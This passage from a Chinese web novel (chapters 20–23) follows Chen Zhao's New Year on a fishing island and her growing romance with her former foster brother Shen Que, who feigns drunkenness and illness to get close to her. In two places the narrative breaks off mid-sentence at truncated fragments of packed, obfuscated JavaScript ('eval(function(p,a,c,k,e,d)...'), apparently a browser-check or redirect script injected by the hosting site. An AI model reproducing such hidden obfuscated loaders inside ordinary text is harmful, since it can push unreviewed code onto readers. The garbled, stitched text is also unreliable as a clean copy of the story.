不过她也不觉得可悲,比起被孟均带去孟家,一大帮人热闹,她似乎更喜欢自己呆在这个曾经有过热闹的屋子里。 但是今年不一样了。 芬姐,蔡叔他们,虽然认识时间不长,但就好像认识很久一样。 最重要的,还是身边有个熟悉的身影。 他们吃过了年夜饭后,又去门口放烟花。 隔壁邻居的小孩,年轻人也都跑出来,将烟花筒放在海岸边,在这个还没有禁爆竹的年夜里,数不清的烟花礼炮在空中亮起,煞是好看。 比起苏拉港口的烟火大会,她反而更喜欢这里的小热闹。 她仰头看着那一朵朵绽放的烟火,眼眶逐渐生热,连带着鼻子都是酸涩的。 真好啊。 她从鬼门关走了一遭,来到了这里,是真好啊。 人生不就应该这样么,在自己不开心的时候,努力挣脱束缚,给自己寻找一个出口重新出发,也不错啊。 “好看吧?” 沈确和她并排站在一起,淡淡开口。 “我第一次看到烟花,也觉得很好看,昭姐不知道还记不记得,是你让我看到的。” 陈昭对上他的视线,想在脑海中搜寻,但一直没找到第一次带他去看烟花的记忆。 殊不知,那是沈确被他们从高原带回明港的第一年,为了哄他,陈昭顺路买了一盒仙女棒。 蔡奇放完手头的烟花,嚷嚷着带他们去楼顶打牌。 楼顶有他改造过的玻璃房,此刻里面放着一张榻榻米,还养了不少的花,关键是里面暖和的很,就跟开了空调似的。 透明的玻璃,能清楚的看到整个小渔村争相开放的烟花。 仔细看的话,甚至还能看到头顶上的星星。 他和竹君拿出扑克,手把手的教陈昭怎么玩。 有这两活宝,耳边就没安静过,熙熙攘攘的,但心里却是十分满足。 蔡叔斜靠在榻榻米上,专心当芬姐的军师,而沈确也想给陈昭当军师,陈昭却不给机会。 虽然陈昭才开始学着打,但几局下来,已经是游刃有余,就跟老手一样,甚至还会放烟雾弹迷惑周竹君。 看到周竹君屡屡上当,屡屡败在她的炸弹下,沈确忍俊不禁。 心里竟莫名生出几分骄傲来。 他无端就想起了某个夜晚,姑姑约她吃饭,而她却抱着笔记本忙到半夜,连饭都是一边打电话一边扒拉的。 那时沈确还是第一次见到她是那么忙碌,怔愣的看着她的方向,姑姑则在一旁打趣。 “我们家的大忙人,很厉害的。” “你昭姐做什么都有毅力,尤其是工作,只要是她想做的,就没有什么办不成功的。她是我见过最狠最自律的人。” “阿确,自律是人成功的第一步,也是成功的最后一步。” 后来搬去了她住的房子里,沈确才真正体会到姑姑口中的狠,和自律。 她凡事都按部就班,连起床都是每天固定的时间,不多不少,固定的时间总会出现在固定的地点。 什么事都会提前安排的井井有条,鲜少有秩序之外的事。 所以这个在小岛上的陈昭,熟悉的同时又让他感到陌生。 不过重拾生命力并不是什么坏事,能看到她鲜活的一面,沈确很满足。 热闹一上来,完全忘记了时间。 最后在蔡奇输掉了所有筹码后,才结束牌局,嚷嚷着调酒给他们喝。 温暖的小屋子里,后半夜都有些犯困了。 尤其是累了一天的芬姐,早早回了屋。蔡叔许是上了年纪,也和他们折腾不起来。 最后只有蔡奇一个人精力充沛,直到喝到混酒醉昏了后,就没下文了。 沈确不知道是不是也喝多了,本是坐在陈昭身边的他,渐渐靠在了她身上。 陈昭反应过来时,他那么大的一块头,整个身体的重量都压了过来。 靠在她肩膀上的脑袋埋进她的脖颈,头发黏在脸颊上有些痒意。 甚至他均匀的呼吸声都似乎被放大传入陈昭的耳朵里。 她耳根生热,却没有将他推开。 而是垂下眼眸,看着沈确长长的睫毛,有种恍若隔世的感觉。 她唇角微动,目光落到了他自然下垂的那只大手上。 骨节分明的手很好看。 他的手曾经抚摸过自己身体的每一处,陈昭尤其喜欢他抚住自己的后脖颈时,掌心紧贴的温热感。 就好像自己悬空的后背,有一座大山在托着。 她能肆无忌惮的放松自己。 陈昭忍俊不禁地伸出手掌,隔着一段距离,放在了他的手掌上。 然而下一秒,那只大手猛地将她的手包裹! 陈昭一怔,紧接着沈确将其当支撑点站起来,带着几分醉意问她:“有水吗?” 陈昭别开目光,压制心里涌出的慌张抽出手,转身去给他倒水:“等着。” 殊不知这几乎是落荒而逃的背影,落在沈确眼里,他那双黝黑的眼睛里尽是得逞之意。 他垂眸盯着自己这只手,浅浅一笑。 什么醉意不醉意的,他清醒的很。 只是没想到,她平时那些镇定,漠然,竟是伪装。 也是,身上背负着人/妻道德的枷锁,怎敢轻易越界? 既然她越不了,那这一步就由他来。若老天爷真不开眼,非要惩治他们,那所有的后果,他也如数承担,毫无怨言。 想到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在无人知道的地方,以别的心思,靠近他一点点,哪怕想着龌龊的事,也是没关系的吧? 思及此,陈昭放弃抵抗,反而捉住沈确的双手,反身让他半躺在沙发上。 而她则挤在他的身边,像只猫一样窝起来,就这样看着沈确好一会。 她以前看过一本书,书上有写,在爱的人身边,人的睡眠质量会非常好。 当时陈昭就发现,只要有沈确在同一空间,她入睡极快,睡的也很沉,以前总是因为工作焦虑到失眠的情况都不会发生。 就像现在,自己也没想什么,就睡过头了。 沉到沈确将她抱起来都毫无反应。 沈确觉得这段日子她好像有把她自己养的很好,重了一些。 不过她骨架小,抱起来也就那么一点。 哪像从前,自己才到她的胸口,和她说话都要仰头,更别说能有多大力气了。 现在倒是要换做她仰头和自己说话了。 他颇为满足地将她抱到楼下周竹君的房间。 里面有一张柔软的沙发,见她一直没醒后,沈确为她盖上毯子,又克制不住的在她唇上轻啄两下。 不同于上次的那个吻,这次陈昭是真的不知道。 而他也是真如蜻蜓点水那般,珍惜又留恋地落下一吻。 陈昭甚至都没有做梦,次日还是在周竹君的小声叫喊声中睁开的眼睛。 彼时天还没亮,但周竹君已经笑嘻嘻的贴脸过来:“昭昭姐,我们去看初一的日出啊!!快!” 陈昭这才反应自己睡在了她卧室的沙发上。 早上的脑子好像还没反应过来,都不记得自己是什么时候在这躺下的。 只是去简单洗漱了下,就被竹君拉出了门。 彼时蔡奇和沈确站在门口等他们,后来刘润生也裹着棉袄快步跑过来。 他手里还带着两盒仙女棒,人还没说话,竹君已经一把捞过来:“哎呀你怎么才给我带两盒!我不是让你多带一点的吗?对了,你的拍立得呢?带了吗?” 刘润生又马上从棉袄里兜里拿出一个拍立得。 除了陈昭外,这几人的平均年龄也才二十出头,和他们混迹在一起,陈昭都感觉自己年轻了不少。 慢慢起了朝霞的天边,好似要唤醒整个小渔村。 周竹君拿着拍立得,刘润生和蔡奇则抱着剩余的一些礼炮,一起来到沙滩上。 沈确把自己藏好的那盒仙女棒递到陈昭身边。 陈昭失笑:“把我当小孩啊?我记得是你比较喜欢玩着东西呢,我这当姐姐的当然是要先让给你。” 沈确勾起嘴角,心里暗想着昨晚的事。 要不是计划要一步步来,昨晚他都有办法将她吃干抹净。 现在哪里还有机会让她在这当老大。 他先点燃两根,强制性的塞到陈昭手里。 竹君又兴高采烈的跑过来:“啊啊啊趁着还没熄灭,快,昭昭姐!确哥,我给你们‘姐弟’拍一张!” 陈昭一笑,欣然点头,主动靠近沈确。 一如当年沈确毕业时,她主动靠过来那样。 沈确还没反应,竹君就已经拍完了。 “再来几张,刚刚动作不好。” 沈确示意竹君,周竹君一副看穿他心思的模样,哼哧道:“我这相纸可不便宜,确哥你得给我报销。” “不就几张相纸么!”蔡奇一把抢过她的拍立得:“哥给你买,今天也给你看看哥的技术!” “确哥,来来来,这边看,一二三!茄子!” 蔡奇就跟相纸不要钱似的,哐哐一顿拍。 显现出来的照片意外的好看,可把他牛逼坏了:“大作啊,我发现我不修车的话我去当摄影师好了,我没准真有这天赋!” “你可拉倒吧!明明是模特加分,你看看你给我拍的,这能看吗?!” 周竹君气到不行,拿着自己翻白眼的这张作势要踹他。 蔡奇一指抵住她脑门躲过攻击:“你也说了,模特加分,反省反省自己!” “蔡奇!” 在这一片吵闹中,陈昭选了几张照片做收藏,其他的则递给沈确。 此刻那轮红日忽然从云层破出,天地顷刻间被这万丈光芒浸染。 陈昭转身看向海平面忍不住开口:“暨明码头的日出,好像和这里差不多。” 沈确双手插兜,帽子下的那张脸棱角分明:“因为我和你都在。” 21. 021. 陈昭看到日出的光,在沈确脸上铺满,心中一热,急急挪开视线。 此时竹君跑到他们身边提议:“日出要在鲨鱼鳍上看才最壮观!确哥,你还不带昭昭姐去看看?” 鲨鱼鳍是渔村里的某个地名,在珊瑚路那一块,此前陈昭掉入泥坑的地方,就叫鲨鱼鳍。 沈确侧过身子,邀请她过去。 陈昭也未推拒,走在他身边,双手插兜地往那边赶。 两人走得不快不慢,清早的海岸路上仿佛只有他们两个人,清晨的海风,日光,每一处都让她感觉到舒服。 这种舒服,是陈昭这么多年都未曾有过的。 到了鲨鱼鳍后,景色的确壮观。 不过可惜错过了最美的日出那一刻,随着太阳上升,早霞晕染在天边,日光也变得越发亮堂。 陈昭的眼睛有些畏光,沈确是知道的。 看到她皱眉的模样,他便提议带她去走走:“虽然渔村里大部分的路你都走过了,但……” “我还想再走一走。” 陈昭打断他的话,微微一笑后率先走下了礁石。 想和他一起,环岛走一走。 慢慢悠悠的,谁都很默契没有提起某些事,甚至说话都很少,反正就是这样走。 直到来到那个单位宾馆,陈昭才停下脚步。 想起她第一天登岛时的狼狈模样,想起了那天看到沈确追到巴士上,她无比澎湃的心,她深深吸了一口气。 她顿了一会,忽然问他:“沈确,你往后都打算呆在小岛上吗?对未来,有没有更具体的规划?” 沈确立于原地,目光垂下凝视她道:“你呢?” “我问你不是让你来反问我的。” 陈昭皱眉,有时候她真想知道,以前那个对自己言听计从的乖乖小狗去哪了。 怎么现在喜欢张牙舞爪的。 可沈确失笑,并不回答她:“未来谁又说得准呢?昭姐自己都确定不了,我当然也和你一样。” “谁说我确定不了,我对自己的未来有清晰的规划。” “哦?是和姐夫生个孩子?在明港做辣妈?” 真是哪壶不开提哪壶。 陈昭正要反驳,沈确忽然嗤笑出声:“孟均值得你和他生孩子吗?在我看来,他并不配。” 此刻他眼里锋锐的光芒,就像一张令人无处遁形的塑料网,将陈昭紧紧包裹在里面。 她不想让两人平和的氛围被某些事打断,于是切断这个话题,提脚往回走去。 回去的路上,陈昭的影子被阳光拉得很长。 沈确就跟在她的影子后面,亦步亦趋地沿着她影子边缘而走。 地上那个女人的轮廓,让他此刻心内的占有欲更甚。 生孩子,呵,他只接受自己在她身边。 后来陈昭有意识地加快脚步,是因为芬姐给她打了电话,她做了早餐。 昨晚闹太晚,今天又赶早做了那么多事,周竹君和蔡奇两人,连饭都顾不上吃,回去倒头便睡。 陈昭吃完饭后也回阁楼休息了一会,约好下午再去玻璃房打牌。 虽然陈昭困意顿显,可她却睡不着。 躺在床上翻动着朋友圈里晒年味的动态,心不在焉。 脑海里,动不动地就冒出昨晚沈确抵在脊骨时的画面,一不留神,就在赵写茹的对话框里误触一个句号发去。 没想到那边的语音通话秒打过来。 冷不丁的声音吓了陈昭一跳。 她正襟危坐,咳嗽了两声才接起。 赵写茹的声音很沙哑。 “感冒了?” 面对陈昭的关心,赵写茹深叹一口气表示:“没你有福气,大过年的我连轴转,你呢?来炫耀炫耀?” 陈昭失笑,倒也忍不住将自己和芬姐他们过年的景象说了一遍。 赵写茹就在那头静静地听着,等她说完后,她忽然认真起来。 “昭昭,我真替你开心啊。” 这是她出自骨子里的话。 因为这是她鲜少从陈昭口中听到如此轻快的语气,是那种情不自禁想要分享,沉浸在里头的快乐。 陈昭微微一笑,忽然想起了某些事,犹豫了下试探性地问了她。 “写茹,我还有个问题想问问你。” “嗯?” “当初你知道我和沈确发生关系的时候,真实的内心想法是什么?” 对面沉默了良久,异常冷静地开口。 “陈昭,以前你是新丽董事长,是接下整个陈氏家族的人,你的肩膀上不仅有你自己,也有成百上千人的责任。不管对你自己来说,还是对陈家来说,沈确都不是你该选择的。” 那时,寄养关系的姐弟若是被八卦记者曝出,后果不堪设想。 到时倾覆的不仅仅是她自己,连带着整个新丽,都会受到丑闻的影响,波及甚广。 “可是陈昭,现在你既然已经选择放弃了明港的一切,那你的人生就只属于你自己,只对你自己负责就好了,随心而活,才是你现在的生活方式不是么?” “你最擅长的不就是随心么?连生病,离婚那么大的事情,说做就做,一个人抗下所有,难道你还踌躇你现在的人生该如何迈步?” “昭昭,自己喜欢,自己开心最重要。” - 从初二开始,芬姐他们就要陆续去走亲戚了。 村里到处都是爆竹的声音,陈昭想着在阁楼里休息几天,至于吃饭的问题,就暂时交给沈确来解决。 毕竟他是大厨,自己只要等吃就好了。 但初二的那天傍晚,陈昭接到了来自孟均的视频电话。 她本不想接,可对方一直没挂,她索性整理好头发,出于礼貌地和他说声新年快乐。 可是一打开视频后,出现在屏幕上的并不是孟均,而是满面笑容的孟太。 这小老太太和往年一样,戴上了她最喜欢的吉祥如意金锁,一见到陈昭便笑盈盈地问起来。 “昭昭,新年快乐啊,不知道你有没有吃发菜!” 陈昭笑出声,连忙回应:“孟太,生日快乐!发菜在这里吃不到噢,不过我去年已经发财啦!” 这话逗得孟太哈哈大笑:“哈哈哈,你可是出名的小富婆,不需要发财啦,开开心心就好啦。” “不过昭昭啊,你打算什么时候回明港呢?我很想你,想请你吃个下午茶。阿均说你去外地办事了,怎么过年也不回来,一个人在外面多不好啊。本来我过年那天就要给你通话来着,可是出了点小意外才拖到今天,昭昭不会怪我吧?” “怎么会呢?是我没及时和孟太通话,抱歉。” 不过从视频上来看,孟太似乎瘦了很多。 陈昭仔细一想,的确有很长时间没和孟太见过面了。 她和孟均离婚的事没公开,孟均当时也提议,暂时隐瞒着孟太,等合适的时机到了,他来开口。 看现在的样子,应该还没说。 考虑到孟太的身体原因,陈昭也没有主动提起这事,而是陪着她叙旧,两人不知不觉就聊了起来。 孟均偶尔会出现附和一两句。 看着倒是其乐融融的景象。 而沈确就是来得这么及时。 他赶到这边的时候,顺便从蔡奇家的冰箱里拿了一些食材过来。 刚走到楼梯上,就听见陈昭的笑声,放慢脚步后,从敞开的门里看见她对着手机温柔地笑着,和对方提起她在小岛上发生的一些事。 甚至习惯性地站在专业的角度,分析了下小岛若是走旅游业开发,能把侧重点放在哪一块。 她戴着耳机,并没有听到沈确上楼的声音。 沈确也没打扰,直到她和对方告别挂了电话后,才拎着菜出现。 但彼时脸上已经没笑容了。 因为她刚刚听到了孟均的名字,进来之后余光也瞄到她手机上和孟均的聊天框。 所以刚刚她的确如猜测的那样,是和“姐夫”在分享。 “你来挺早啊?带这么多吃的?今晚又要大展身手吗?” 陈昭走过去,接过他双手满满当当的食材,但沈确却有气无力地坐在沙发上,不言一语。 见到他不对劲,陈昭放下那些袋子后疑惑地看过去,正要问,他忽然脸露难色地躺了下去,沉着声音说。 “你的愿望要落空了。” “我胃有点不舒服,等蔡奇回来后让他送点饭过来。” “胃不舒服?” 陈昭微微拧眉,下意识地走去他身边打量了他几眼,关心了一句:“还好吧?严重吗?” “老毛病,熬一熬就没事了。” “老毛病?”陈昭惊讶于这个词,以前他可是从来没有这个毛病的,倒是自己,新丽上市那段时间,她总是不好好吃饭,落下了胃疼的毛病。 所以能深刻感受到那种痛楚。 “在研究院里固定的食堂你都不好好吃饭?”说完又想起昨天他喝了不少,改口问,“是昨晚喝太多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她将温水递给沈确:“你先喝这些缓一缓,我去诊所看……” “今天才初二,村里的诊所,医务室都没开门。” 这时陈昭才反应过来,但他见沈确越发难受的样子,心里有些不确定了:“你还能忍吗?” 真正痛起来,的确很难受。 陈昭有时候会疼到浑身都蜷缩起来,额头满是汗珠,恨不得把肚子给剖开。 没有药物的控制,她的忍痛力极其低。 她不想让沈确也一直忍受着,却没想到此时的沈确见到她闪烁的目光,忽然有些后悔装得太认真了。 于是不由得把演技收了收,只道:“我躺一会就会好一些。” 现下买不到药,也只能这样了。 陈昭掀开被子,从里面拿出一个热水袋,充满电后将其放到沈确的腹部:“先热敷一下。” “陈昭。” 沈确忽然叫住她,欲言又止的话最终还是收了回去,随口说了一句:“我想吃点什么垫垫肚子。” 陈昭立刻走到那堆食材面前,翻动了一下后并没看到能即食的东西,最后只能将目光锁定在那几个鸡蛋上。 转身去厨房乒乒乓乓地给他煮了一碗面。 沈确闻到油烟味,又听到滋滋作响的声音,脸上的笑意越发浓厚。 侧身想好好看看他的“姐姐”为自己拼搏的模样,然而下一刻,他立刻闻到了糊味。 他眼睁睁看着灶边放菜的塑料袋子被明火燃起,专注在洗手池的陈昭没及时发现。 那一刻他丝毫顾不上装病了,一个弹跳起身,关了灶台后又把杯子里的水倒上去。 一顿操作猛如虎,也成功把陈昭给吓到。 沈确双手叉腰,盯着她深吸一口气,实在无可奈何的拿过她手里的锅。 “你去坐着。” “?” “你要是再碰这个灶,我怕下一秒屋子都要被你烧没。” 陈昭在他目光的示意下,才发现被烧了几近一半的塑料袋。 她尴尬地抿了抿唇,有些挫败。 “刚刚不小心,你是病人,你去……” “坐下!” 他命令式地皱起眉头,一如从前,陈昭偶尔也会这样命令自己那般。 如今风水轮流转,导致陈昭一时没反应过来,但身体却诚实地乖乖坐下了。 22、022. 看到沈确开始动手洗菜,陈昭失笑地别开目光。 不过在做完两个菜后,他又闹别扭,只看着陈昭吃,问起他为什么不吃时,一脸的苦瓜相,只说:“吃不下,等会再说。 陈昭放下碗筷,她也做不到在一个病人面前大快朵颐。 尤其是沈确微微蜷缩着身体,陈昭更觉得他是在忍着难受。 即便这样,他还是为自己做了晚饭。 想到这,陈昭的心里过意不去,不由自主地会想起曾经令人心疼的沈确. 她对沈确一直有种怜惜。 曾经是怜惜他的身世,偌大的高原里却容不下他一个孤儿。后来又是怜惜他太懂事,分明自己和姑姑给了他足够的底气,可他凡事还是小心翼翼,顾虑颇多。哪怕到了今日,她也在怜惜,当初明明是自己的错,主动带他进入成年人的世界,又主动切割两人的关系,现在又主动出现在她面前,他却还要被迫迎合自己去恢复当初的家人关系,有时候陈昭觉得自己在他面前过于占据高位,所以也会心生愧疚。她看着缓缓打在窗户上的雨滴,去门口收了他的鞋子,又将窗户关起,拉上窗帘下雨天的傍晚,天色晚得很快,陈昭开了那盖台灯后拿着一块热毛巾坐到他对面。沈确眉眼微动,不知道她要做什么,正要开口,陈昭忽然对上他的视线,示意他伸手沈确低头,将手伸过去,只见陈昭忽然捏住他的腕骨,掌心贴于他的手背,另一只手则在他的手腕横纹上大约两寸处,开始轻轻按压,温热的指腹顺时针摩挲:“这是内关穴,适当地按摩此处可以缓解你的胃痛。闻言,沈确的眼底闪过一丝笑意,但很快被他收敛。他就这样一动不动地盯着她,什么话也没说,陈昭即便被他这么盯着,也佯装镇定,两人仿佛在暗暗较劲似的,谁都不往前迈后来陈昭感觉到他的手逐渐热起来后,又借着转身的机会,调整情绪,将手按在了他膝盖下方的凹陷处。冷不丁的按压,让沈确倒吸一口气,啧的一声迅速缩回腿,像一阵电流似的穿过全身。陈昭失笑:“不好意思,按到麻筋了,这里有个足三里穴,它和…可不等陈昭说完,沈确就已经起身,他扯了扯衣角,直接往门外走去:“蔡奇回来了,我去那拿药。撂下这话后,他穿上鞋子便大步走下楼梯。陈昭不解地看向门口,追出去往楼下扔了一把伞:“下着雨呢。沈确弯腰捡起,此刻也只有他才清楚,若再呆一会,他恐怕就要原形毕露了!正如曾经无数次的反应那般,但凡她只要靠近自己,距离再近一些,好像就会激发他最原始的男人本能沈确自诩是个克制力极强的人,受陈昭影响,他无比自制,事事都能做到完美,全面。可唯独在面对陈昭时,自己的这种控制力就能轻易瓦解。他拿着伞却没有打开,淋着小雨回宿舍,半路果真碰到从亲戚家赶回的蔡奇,他一脸纳闷。“确哥,你被你姐赶出来了啊?失魂落魄的,有伞也不打,装什么落寞小狗呢?"被他调侃的声音拉回神后,沈确恢复如常,给了他一个眼神,堵住蔡奇的嘴。蔡奇就更纳闷了:“真让我说中了啊?大过年的,姐弟俩还有什么不能好好说么?昭昭姐脾气那么好的人,你怎么.…然而不等他说完,沈确已经懒得搭理他,直接往宿舍走,来到洗手间狠狠洗了一把冷水脸。可冰凉的水,并没有降低他手腕的温度。初四那天,芬姐和竹君走亲戚回来了。一早芬姐就和陈昭打电话,让她来饭店吃午饭 她从娘家带了不少的特产回小岛。 还约了蔡叔他们一家。 陈昭早早就去了饭店,竹君看她过来,拉着她忙不迭地说起来。 “啊我是我最爱的昭昭姐姐啊!!" “昭昭姐姐你不知道,你给我妈买的这几件衣服太好看了,再配,上我给她化的妆,你猜怎么着?回我外婆家竟然被人给相中了!还要给我妈相亲呢! “相亲?" 陈昭诧异了一下,芬姐很不好意思地用眼神打断竹君的话,但周竹君在不在乎那么多呢 “是啊,我妈本来也长得好看,以前那是不打扮,现在一打扮,那就是村里一枝花,没几个人能比得上呢! 刚好这话被进来的蔡叔听到,他愣了一下,上前帮忙的同时也轻声问了句:“男方怎么样?" 竹君立刻凑过去,故意压低声音:“条件很不错啊蔡叔,大家都掇着我妈去看看呢。” 蔡叔马上皱起眉头:“这种事不能光看条件的,更重要的是人品好不好。" 周竹君话里有话地点头:“是啊,妈,你听蔡叔说了没,最重要的是人品好不好。” “我这个当女儿的反正是希望你能开心,幸福!至少人品那也得有蔡叔这么好才行。 蔡叔讪讪一笑,小心翼翼地把目光挪到芬姐身上,可惜芬姐早就去楼上拿干货去了,也不知道有没有听见。 就在此时,一道熟悉的声音从门外传来。 只见于思存抱着吉他,又拎着不少的拜年礼走了进来。 “新年快乐啊,昭姐也在。 周竹君赶紧上前待客,她是代表她舅妈一家子过来串门拜年的,小岛上大家都是邻里街坊,有时候一天同时走几家也不足为奇。 思存这个时间点来得刚好,能吃个晚饭。 原本热闹的饭店里,又因为思存的加入变得更闹哄。 上次“共患难”的经历,让于思存对蔡叔那是刮目相看,她带来的那把吉他就是她要送给蔡叔的新年礼物。 蔡叔一见,惊讶不已:“这我哪能收呢!" “蔡叔,吉他我有好几把,说起来你就是我的前辈,送你一把吉他,日常弹唱怎么了?" “咱们音乐人,内心始终都是有一团火的!别人不理解,我肯定是理解你的!!所以你必须要收下!" 于思存也不给他拒绝的机会,果断把吉他塞到他怀中。 竹君他们瞬间就来了兴致,起哄起来。 “我还是第一次听说蔡叔会唱歌还会弹吉他?!啊啊啊我想听我想听!蔡叔你给咱们来一段!" 蔡叔哪好意思,尤其是芬姐一个人还在后厨忙着呢:“你们玩就行,我去帮你妈妈做饭,她一个人哪忙得过来。 “哎呀没事没事!我等会去帮我妈,蔡叔你就先来一段嘛!再说我妈她肯定也想见识见识。" 听闻这话,蔡叔挠了挠头,双手擦了擦自己的迷彩衣,然而正要献丑时,蔡奇抱着一只腊鸭哼哧着从楼上下来。 “他哪好意思啊,我说于思存,你给他吉他,他也不带弹的,当初可是他亲自当着我奶的面把他视为至宝的吉他给踩烂了,还发过誓一辈子都不会再碰这玩意。 此话一出,蔡叔的脸色微变,目光顿时沉了下来。 再次抬头时,笑容已经变得勉强起来:“你们玩,你们玩。 于思存听不得蔡奇说这样的话,一屁股坐到他身边就开口。 “你未免过分了啊,吉他是我送给你爸的,有你什么事? “有我什么事?”蔡奇难以置信地看过去,被她给气笑了,正要和她理论,没想到被于思存一把掐住嘴巴,就跟掐住鸭子嘴似的。 “你爸是什么样的你这当儿子的不理解就算了,还奚落讽刺,我难道说错了?" 蔡奇睁大眼睛,起身就要推开她,可没想到于思存力气大得很,以前在酒吧驻唱的时候,她可是以一敌五,连酒鬼都没怕过 就蔡奇这小身板,她三两下就将他给撂倒在身下。 陈昭他们一见,可别真闹出事来,赶紧上前将两人拉开。 周竹君赶紧抱住蔡奇的身子拦下他:“哥!哥!哎呀大过年的你们这是做什么啊!你一个老爷们心眼还那么小啊? “思存,算了。" 陈昭也拦下于思存,思存忍不住深叹了一口气:“难道他不过分么,他可是蔡叔的儿子,人家蔡叔 “正因为我是他儿子,你一个外人…” 蔡奇这话还没说完,于思存火气一来,脑子往他脑门上一撞! “砰”的一声,在场顿时都安静了。 半小时后,沈确收到消息赶来,彼时周竹君上楼去安慰受伤的蔡奇了. 因为他不仅被于思存撞了脑门,也被蔡叔抡了一拳头。起因是和于思存闹冲突,蔡叔从后厨出来,还以为蔡奇欺负一个小姑娘,一时没收住手,把他给抢了。 此刻蔡叔蹲在门口抽烟,看到于思存过来,立刻掐灭了烟头。 于思存满脸的愧疚:“蔡叔,对不起啊,我本意不是想惹蔡奇,是我觉得. “没事,你不用过意不去,倒是我们搅了大家的晚饭。你们去吃饭吧,不用管我两!我们吵架也不差这一次,没事的。 蔡叔伸手请她进去,陈昭见状,招呼于思存先进来。 而沈确就赶在这个节骨眼上过来了。 他从芬姐那大概了解了什么情况后,先去蔡奇屋子说道了几句,自然这个晚饭也没人吃得好了。 但芬姐却是不以为然,她也不想让陈昭过于在意。 “昭昭你别介意,父子间磕磕绊绊正常,小奇就是嘴硬,其实人很好的,这孩子打小就懂事,只不过这段时间是因为他那个修车行生意不好做,他爸就去聆海托人给他找了个工作,他不想去,觉得他爸不理解他。 “白然,蔡建国也觉得这小子不懂事。 芬姐笑了笑,只道这世界啊,没有百分百了解自己的人。 哪怕是子女之间,也是如此。 但只要那层血缘还在,彼此肯定是吵不开的。 陈昭微微一笑:“芬姐说的是,蔡叔是难得的好男人,而且蔡叔长得也帅气不是么。 芬姐听出了她的别有深意,眼下没有别人,她也就和陈昭推心置腹了。 “我知道你们都想撮合我和蔡建国,他人是不错的,勤快又心善,只是.” 见她垂下眼眸,陈昭似乎猜到了是什么原因:“过去的事已经过去了,我想你的先生肯定也是希望你能过得更幸福。" “那是,他那么好的一个人,怎么忍心看我过得不好?可是昭昭,我没办法放下他。" 芬姐眨了眨湿润的眼眶,退回到楼道昏暗的角落里继续说。 “我很喜欢竹君她爸,反正.…就现在而言,有竹君在我身边挺好的,不是一定要找个男人过日子。 她笑了笑,忽然从兜里掏出一枚硬币递给陈昭看。 “这是我和她爸爸第一次见面时他留给我的,我们是别人介绍,他说我要是哪天同意和他在一起了,就把这硬币正着放到我家门口的砖缝里。 ''还有那天你给我买新衣服穿的时候,我晚上去问他我穿得好不好看,硬币丢了几次都是正的,我就觉得肯定是…他…" 话没说完,芬姐泪意肆涌,忽然忍不住情绪。 陈昭连忙递过纸巾,握了握她的手笑着回应她:“肯定是他觉得你穿着好看。 芬姐泪意涌动地被逗笑,陈昭又问:“芬姐,爱,能给自己很多力量吧?" 芬姐毫不犹豫地点点头:“不然我怎么能一个人把竹君扯到这么大,守着这个饭店日复一日地做下去?" “别人觉得我辛苦,竹君也是这么觉得,可是我真的没那么辛苦。最多.…就是身体劳累一些,很多时候我都因为能在这个饭店里干活,觉得身边好像一直有他,日子就没那么难过了。" 这种感觉,陈昭似乎能感同身受。 那些年,沈确离开自己后,她就愿意花更多的时间在家呆着 别人觉得是新丽稳定了,是她忽然想回归家庭了,所以连很多工作都在家处理 可是只有她知道,愿意呆在那个屋子的原因,是因为很多熟悉的地方,让她觉得自己身边始终有那个人。 尤其是生病那段时间,哪怕痛到无法忍受,只要在屋里呆着,好像就能缓解些许, 后来沈确送她回阁楼的时候,她故意放慢脚步,始终慢沈确一点点,余光落在他的身上心绪涌动。 她无数次想给自己一点勇气,可是又被一层枷锁打回原型。 陈昭仿佛被自己困在原地,不敢迈出任何一步,直到沈确将她送到楼下,准备离开后,她才拉住他的胳膊 沈确微怔,不解地看过去。 “今年的新年礼物我还没送给你,你等等我。 陈昭上楼取了一幅自己做的贝雕画,虽然和薛老那样的大神工匠无法比,可这技法,意境还是很好看的。 是几只贝雕的鲸鱼画。 沈确惊讶她这么快就学会,也惊讶她还想起欠自己的新年礼物。 之所以说是欠,是因为在那件事没发生以前,每年的春节,陈昭都会很用心地送给他新年礼物。 当然,她每年的礼物都被自己无比珍视地随身携带。 即便是后来到了聆海工作,他也是一直存放在自己的行李箱中。 见此,他便欣然收下,然后定定地望着她问:“既然如此,我也给你准备了新年礼物。 “哦?”陈昭倒是有些期待。 然而下一秒,沈确忽然往前几步,身子倾覆而来。 陈昭的心狠狠咯噔了一下,双手猛地攥紧! 沈确侧头,靠在陈昭的耳边,唤了她一声:“姐姐。”热气呼在耳廓,带着一些痒意。 他嗓音清润,一如多年前他那般叫自己。 随后沈确站直身子,故意偏头看陈昭的反应。 陈昭迅速端正神色,故作镇定地拧起眉头:“就这?" 他唇角微勾,反问:“和以前那样叫你,不就是你希望的吗? 23、023. 陈昭隐隐看出了他眼里的揶揄,调整了神色后坦然伸手:“如果新年礼物是这的话,显然你不够诚心。 说完又拾了拾下巴,看向那幅贝雕画说道:“我亲手给你制作的这份礼物,是我熬了很多个小时,临时从薛老先生那拜师学艺学来的技巧。所以!…. “你能拜薛老先生为师,还得感谢我当初的引荐才是。” 他打断陈昭的话,笑盈盈地盯着陈昭微变的脸色。 是她鲜少有的愣神,无语,甚至到想要给沈确翻白眼的冲动。 如此鲜活,也….如此可爱。 沈确并不想惹她真生气,于是从衣兜里拿出一个精巧5的木雕鲸鱼 看到这东西时,陈昭的脸色骤变。 “它怎么在你这?" “早就在我这了,本来那一晚我就打算给你的,但你不给我机会。除夕那天我也想给你,不过.…总之算你承我一个情,我帮你把最最珍视的东西捡到了。 陈昭心中一热,眼底起了酸涩之意。 这只小鲸鱼并不贵重,却是小老头留给自己唯一的念想。 